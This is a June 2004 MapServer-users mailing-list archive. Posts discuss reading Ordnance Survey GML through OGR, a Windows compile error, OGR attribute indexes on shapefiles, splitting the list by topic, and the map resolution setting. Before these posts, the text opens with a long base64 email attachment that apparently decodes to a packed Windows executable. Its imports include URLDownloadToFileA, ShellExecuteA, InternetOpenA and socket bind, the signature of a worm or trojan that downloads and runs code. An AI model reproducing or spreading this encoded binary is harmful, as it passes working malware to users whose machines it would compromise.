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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAYE9CU5csYMImI7Vm eh17H2BMujs1V1oZO6UwMmzDBGh0E1ulHEAWS1EFnKAmJIJjPwaUC2e4XICgD0efCl0Ci53D hgDGMZQ5HoJuoROygB42U8MJdhdfuQQLc49NqlWyjgmxSh8SrwmpjDhGEjUvrjUAcJM+mjZq EhKLDosDq8Izt0k0fTmjwEepYpcRLR3DJGpvbEh6hWWDqo29szKKenpaZsB3S7h4sDGdD1Q0 ikdYvWK1gE4BuWSVT0VrpScqZjGLlyodKZASVRKuog4nmKl+J1WeBEZ6S1C3ETSPhsecH72N MY5nnIQkNC1vTlmRhRSdhyQteSyblCfGRWxMuCV2gkU0q3ASXyoGerYfKZ52Ppe8IxYhLQxq Eq8haY2Uxa2Jt6kGPSnHkwtCTJF7E7avSR6OPaKsxwBySnI2t6S1KVFHZHUfwWlPOx5Exbgg Z0g2CqgtVT0utAmnm8IzfFiYKaIxCwSKo0lUWmlgY1ebf6NUOVGOxJBqIpV1B4hdZaKUCWwj Ik43XR09HhuUGyUGCUkxVIpCw4pgZClvjQ8KtyLCCjdKwYsFjsYQpYgRk62Cmrhkfj4TvBA2 AXCOsYAggbQsv0HFi2SvM2iXfqyHknuKoqxnUZ2qVKKZVClBMStDMIgtwGYBoRIeOQ3DOFm+ XB44sh0AQDphdCFzlaJfRRlNu2moHgFmnyk8w8CRBb+SGhuLvLgdXLM+cRSTtj56rhGHIKhu c2+cMVttNWEugDSfN2s6QXWfaLVkUSvFgIc/fsKTSj8EAQg6hrqSTx14wCo+Ogo8PEyOHXND aMNZD4kARVksXcWROVW0M5VBm4eTtqpymxBELAVmK28CxzMqcz+ZNVeopU5mF5AqAZuSJmdo boOrIogMdlVtNa9hCDy1ErwigZmzlJ6xhcUPjncPbYqOl2RNWZKoA3SMqr0PU33AP6CwBRPH Ca5oxmeUNwW1aSkjsURpkAl+NZALQ1pCIiSNUIMhNnWco7/DAYdFGR+KxY6eejAea3aTXaOk dh5pgjV6P0uSVLYepDCuwT5VA095jzhSklQoxIWQmDEMKnkib0kiTDUdeWOXnn42oZhJoaAn rT5lj1VAPacYX5lQVmyJNCRflCI+EkegR0o3ecENjlamOVi8m7txG4W2LDGrwggrb2ZmsVOw jncDbnEyUx8ieV9gFWwaLyuoRkN/rXA3cm6KCyXCb302MWBTJQpKcYQuWnphFiMdFn5JEma5 X49GvLeKXbleJKyod6YHBJlnoXU/VocNVZCISyYqmBM= ----------nczrnnpdpanpcsjiwcfw-- From bartvde at xs4all.nl Fri Jun 18 09:37:59 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Fri, 18 Jun 2004 18:37:59 +0200 Subject: [Mapserver-users] Using XMLSpy with GML In-Reply-To: <20040618123643.33910.qmail@web15204.mail.bjs.yahoo.com> References: <20040618123643.33910.qmail@web15204.mail.bjs.yahoo.com> Message-ID: Hi, I don't have a demo program handy for this, sorry. I would use the OGR connection in Mapserver instead of php_ogr though, if your sole purpose is viewing the data. BTW: try responding to the whole list, you have a bigger chance of somebody having a demo somewhere. Try downloading OpenEV_FW, and run ogrinfo on your GML file. If this works, you can use it in Mapserver. See also: http://gdal.maptools.org/ogr/drv_gml.html http://mapserver.gis.umn.edu/doc42/ogr-howto.html Hope this helps. Best regards, Bart On Fri, 18 Jun 2004 20:36:43 +0800 (CST), guoloi dou wrote: > Hi, > > Thanks for your reply. OS in my letter actually means Ordnance Survey. > As I am new to this whole system. Do you mind offering me a demo program > how to use PHP_OGR and MapServer viewing the GML file. > > Tons of thanks and regards, > Zhengda Lu > > > Bart van den Eijnden wrote:Hi, > > I used XMLSpy purely for validation of the GML, not for import. > > You can however, use Frank Warmerdam's OGR library to import GML and save > it as another format (using the ogr2ogr utility). There is also a PHP > version of Frank's OGR library called php_ogr. > > Without conversion, you can also use GML data directly in Mapserver > through an OGR connection, see: > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0402/msg00570.html > > php_ogr can be found here: > http://maptools.org/dl/php_ogr/ > > BTW: I don't know what you mean by OS GML (the OS part of it). > > Best regards, > Bart > > On Fri, 18 Jun 2004 05:42:29 +0800 (CST), guoloi dou > wrote: > >> Hi, I am trying to implement a web application using MapServer, PHP in >> Windows with OS GML data. I saw your discussion about using XMLSpy to >> process GML. Is it possible to use XMLSpy import OS GML data or do you >> guy know any other ways? >> >> Thanks, >> Zhengda Lu >> >> >> >> >> --------------------------------- >> Do You Yahoo!? >> ???????????????????????????????????????????????????????????????????lt;br> > > -- From ikezhis at gismo.com Fri Jun 18 10:09:00 2004 From: ikezhis at gismo.com (igor) Date: Fri, 18 Jun 2004 11:09:00 -0600 Subject: [Mapserver-users] compiling 4.2 on windows Message-ID: <40D321AC.4D20D5E5@gismo.com> When I try to compile mapserver I get the following error: "maplexer.l Fatal Error cannot open include file mapparser.h no such file or directory." WHen I try to search for it, it does not even exists. Does enyone knows what I am doing wrong? Thanks. From douguoli at yahoo.com.cn Fri Jun 18 11:27:17 2004 From: douguoli at yahoo.com.cn (=?gb2312?q?guoloi=20dou?=) Date: Sat, 19 Jun 2004 02:27:17 +0800 (CST) Subject: [Mapserver-users] Using OGR with Ordnance Survey GML data Message-ID: <20040618182717.5149.qmail@web15206.mail.bjs.yahoo.com> --0-174223859-1087583237=:1176 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit Hi, Everyone. Is there anybody who would like to offer me a demo program for processing Odnance Survey GML data using OGR? Your help will be highly appreciated. Best Regards, Zhengda Lu --------------------------------- Do You Yahoo!? ?????????????????????????????? --0-174223859-1087583237=:1176 Content-Type: text/html; charset=gb2312 Content-Transfer-Encoding: 8bit

Hi,
Everyone. Is there anybody who would like to offer me a demo program for processing Odnance Survey GML data using OGR? Your help will be highly appreciated.
Best Regards,
Zhengda Lu



Do You Yahoo!?
?????????????????????????????? --0-174223859-1087583237=:1176-- From rich at greenwoodmap.com Fri Jun 18 11:59:23 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 18 Jun 2004 12:59:23 -0600 Subject: [Mapserver-users] OGR Join index Message-ID: <40D33B8B.1060904@greenwoodmap.com> I am playing with the OGR Join - pretty sweet, but pretty slow. How can I create an index on the joined columns where the tables are dbf files? -- Richard Greenwood www.greenwoodmap.com From warmerdam at pobox.com Fri Jun 18 12:20:48 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 18 Jun 2004 15:20:48 -0400 Subject: [Mapserver-users] Using OGR with Ordnance Survey GML data In-Reply-To: <20040618182717.5149.qmail@web15206.mail.bjs.yahoo.com> References: <20040618182717.5149.qmail@web15206.mail.bjs.yahoo.com> Message-ID: <40D34090.9090101@pobox.com> guoloi dou wrote: > Hi, > Everyone. Is there anybody who would like to offer me a demo program for > processing Odnance Survey GML data using OGR? Your help will be highly > appreciated. > Best Regards, > Zhengda Lu Zhengda, As I recall the OGR GML support does not work well or perhaps even at all against OS GML. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From rich at greenwoodmap.com Fri Jun 18 12:37:02 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 18 Jun 2004 13:37:02 -0600 Subject: [Mapserver-users] OGR Join index In-Reply-To: <40D34063.90101@pobox.com> References: <40D33B8B.1060904@greenwoodmap.com> <40D34063.90101@pobox.com> Message-ID: <40D3445E.7060206@greenwoodmap.com> Frank Warmerdam wrote: > Richard Greenwood wrote: > >> I am playing with the OGR Join - pretty sweet, but pretty slow. How >> can I create an index on the joined columns where the tables are dbf >> files? > > > Richard, > > Currently there is no support in the OGR shapefile reader for attribute > indexes on .dbf files. So, you are right. It can be pretty damn slow. > > Best regards, > There is mention of CREATE INDEX in: http://gdal.velocet.ca/projects/opengis/ogrhtml/ogr_sql.html Can you shed any light on that? Thanks, -- Richard Greenwood www.greenwoodmap.com From douguoli at yahoo.com.cn Fri Jun 18 13:29:29 2004 From: douguoli at yahoo.com.cn (=?gb2312?q?guoloi=20dou?=) Date: Sat, 19 Jun 2004 04:29:29 +0800 (CST) Subject: [Mapserver-users] Using OGR with Ordnance Survey GML data In-Reply-To: <40D34090.9090101@pobox.com> Message-ID: <20040618202929.89952.qmail@web15210.mail.bjs.yahoo.com> --0-826692138-1087590569=:89543 Content-Type: text/plain; charset=gb2312 Content-Transfer-Encoding: 8bit Hi, Thanks, Frank. Do you have some suggestions on using OS GML in MapServer? Best regards, Zhengda Lu Frank Warmerdam wrote: guoloi dou wrote: > Hi, > Everyone. Is there anybody who would like to offer me a demo program for > processing Odnance Survey GML data using OGR? Your help will be highly > appreciated. > Best Regards, > Zhengda Lu Zhengda, As I recall the OGR GML support does not work well or perhaps even at all against OS GML. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent --------------------------------- Do You Yahoo!? ?????????????????????????????? --0-826692138-1087590569=:89543 Content-Type: text/html; charset=gb2312 Content-Transfer-Encoding: 8bit
Hi,
Thanks, Frank. Do you have some suggestions on using OS GML in MapServer?
Best regards,
Zhengda Lu

Frank Warmerdam <warmerdam at pobox.com> wrote:
guoloi dou wrote:
> Hi,
> Everyone. Is there anybody who would like to offer me a demo program for
> processing Odnance Survey GML data using OGR? Your help will be highly
> appreciated.
> Best Regards,
> Zhengda Lu

Zhengda,

As I recall the OGR GML support does not work well or perhaps even at
all against OS GML.

Best regards,
--
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush | Geospatial Programmer for Rent



Do You Yahoo!?
?????????????????????????????? --0-826692138-1087590569=:89543-- From rich at greenwoodmap.com Fri Jun 18 13:27:08 2004 From: rich at greenwoodmap.com (Richard Greenwood) Date: Fri, 18 Jun 2004 14:27:08 -0600 Subject: [Mapserver-users] OGR Join index In-Reply-To: <40D34C7F.8060308@pobox.com> References: <40D33B8B.1060904@greenwoodmap.com> <40D34063.90101@pobox.com> <40D3445E.7060206@greenwoodmap.com> <40D34C7F.8060308@pobox.com> Message-ID: <40D3501C.8060303@greenwoodmap.com> Frank Warmerdam wrote: > Richard Greenwood wrote: > >> There is mention of CREATE INDEX in: >> http://gdal.velocet.ca/projects/opengis/ogrhtml/ogr_sql.html >> Can you shed any light on that? > > > > Richard, > > As far as I know that only works for MapInfo format currently. > > ... slow fade in of memory ... > > Now I remember. It does also work for shapefiles though ironically it > creates a Mapinfo format attribute index for the shapefile's dbf. However, > yes, the CREATE INDEX stuff should work for shapefile datasets too and > substantially accelerate attribute queries, in particular integer key > lookups. > Very interesting! So I could use MapInfo to create indexes and OGR would use them? And if I wanted to use ORG's CREATE INDEX I would need to write a C or Python wrapper? i.e. There is no stand alone CREATE INDEX utility? As always, thank you! -- Richard Greenwood www.greenwoodmap.com From warmerdam at pobox.com Fri Jun 18 13:36:18 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 18 Jun 2004 16:36:18 -0400 Subject: [Mapserver-users] Using OGR with Ordnance Survey GML data In-Reply-To: <20040618202929.89952.qmail@web15210.mail.bjs.yahoo.com> References: <20040618202929.89952.qmail@web15210.mail.bjs.yahoo.com> Message-ID: <40D35242.7090404@pobox.com> guoloi dou wrote: > Hi, > Thanks, Frank. Do you have some suggestions on using OS GML in MapServer? Zhengda, Umm, use FME to convert it to something useful like shapefiles? http://www.safe.com/ Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From warmerdam at pobox.com Fri Jun 18 13:35:25 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 18 Jun 2004 16:35:25 -0400 Subject: [Mapserver-users] OGR Join index In-Reply-To: <40D3501C.8060303@greenwoodmap.com> References: <40D33B8B.1060904@greenwoodmap.com> <40D34063.90101@pobox.com> <40D3445E.7060206@greenwoodmap.com> <40D34C7F.8060308@pobox.com> <40D3501C.8060303@greenwoodmap.com> Message-ID: <40D3520D.9020100@pobox.com> Richard Greenwood wrote: > Very interesting! So I could use MapInfo to create indexes and OGR would > use them? And if I wanted to use ORG's CREATE INDEX I would need to > write a C or Python wrapper? i.e. There is no stand alone CREATE INDEX > utility? Richard, Well, if you create the indexes with MapInfo, they won't be recognised because there needs to be a little xml file that associates them. You should create the indexes with the OGR "CREATE INDEX" command. This can be accomplished with the ogrinfo utility which includes the ability to execute arbitrary OGR SQL. eg. warmerda at gdal2200[214]% ogrinfo -ro . -sql "create index on polygon using eas_" INFO: Open of `.' using driver `ESRI Shapefile' successful. warmerda at gdal2200[215]% ls -la total 368 drwxr-xr-x 2 warmerda users 4096 Jun 18 16:34 . drwxr-xr-x 53 warmerda users 4096 Jun 18 16:32 .. -rw-r--r-- 1 warmerda users 159752 Jun 18 16:32 polygon.dbf -rw-r--r-- 1 warmerda users 221 Jun 18 16:34 polygon.idm -rw-r--r-- 1 warmerda users 8704 Jun 18 16:34 polygon.ind -rw-r--r-- 1 warmerda users 175784 Jun 18 16:32 polygon.shp -rw-r--r-- 1 warmerda users 3892 Jun 18 16:32 polygon.shx Now that I think about it some more, I'm pretty certain that OGR doesn't even take advantage of the indexes for mapfinfo format ... only for shapefiles right now. The client in question needed it only for shapefiles. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From hal at mobilegeographics.com Fri Jun 18 13:59:10 2004 From: hal at mobilegeographics.com (Hal Mueller) Date: Fri, 18 Jun 2004 13:59:10 -0700 Subject: [Mapserver-users] Other MapServer mailing lists In-Reply-To: References: Message-ID: I'd like to see the list split into topical areas. Something like this: mapserver-users mapserver-installation (this seems to be a BIG hunk of traffic--library versions, compilation settings, binaries for XYZZY) mapserver-announce and then maybe mapserver-scripting (but does it make sense to have PHP and Perl in the same list?) and also maybe mapserver-experts Hal From murilo.yoshida at agx.com.br Fri Jun 18 14:29:30 2004 From: murilo.yoshida at agx.com.br (Murilo Lacerda Yoshida) Date: Fri, 18 Jun 2004 18:29:30 -0300 Subject: [Mapserver-users] What is the resolution item on the map object? Message-ID: <000001c4557b$5b4651d0$1364a8c0@parapente> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C45562.35FB8AD0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, I was reading the mapscale.c. In the calculateScale method it uses a resolution member of the map object. Then I looked at the mapfile documentation, it says that the resolution member is used to calculate scales, and that its default is 72 pixels per inch. I normally do not define this member in my map files. Ok, so that means that all my scales are calculated by considering that 1 inch equals 72 pixels? If I use php/mapscript, should I refresh this member every time my extents change so I get the actual scale? I am a little confused about this. Thanks, Murilo ------=_NextPart_000_0001_01C45562.35FB8AD0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

  Hi = all,

  I was reading the mapscale.c… In the calculateScale method it uses a = resolution member of the map object…

  Then I looked at the mapfile documentation, it says that the resolution member is used to calculate = scales, and that its default is 72 pixels per inch.

  I normally do not define this = member in my map files.

  Ok, so that means that all my = scales are calculated by considering that 1 inch equals 72 = pixels?

  If I use php/mapscript, should I refresh this member every time my extents change so I get the = actual scale?

  I am a little confused about = this…

  = Thanks,

    = Murilo

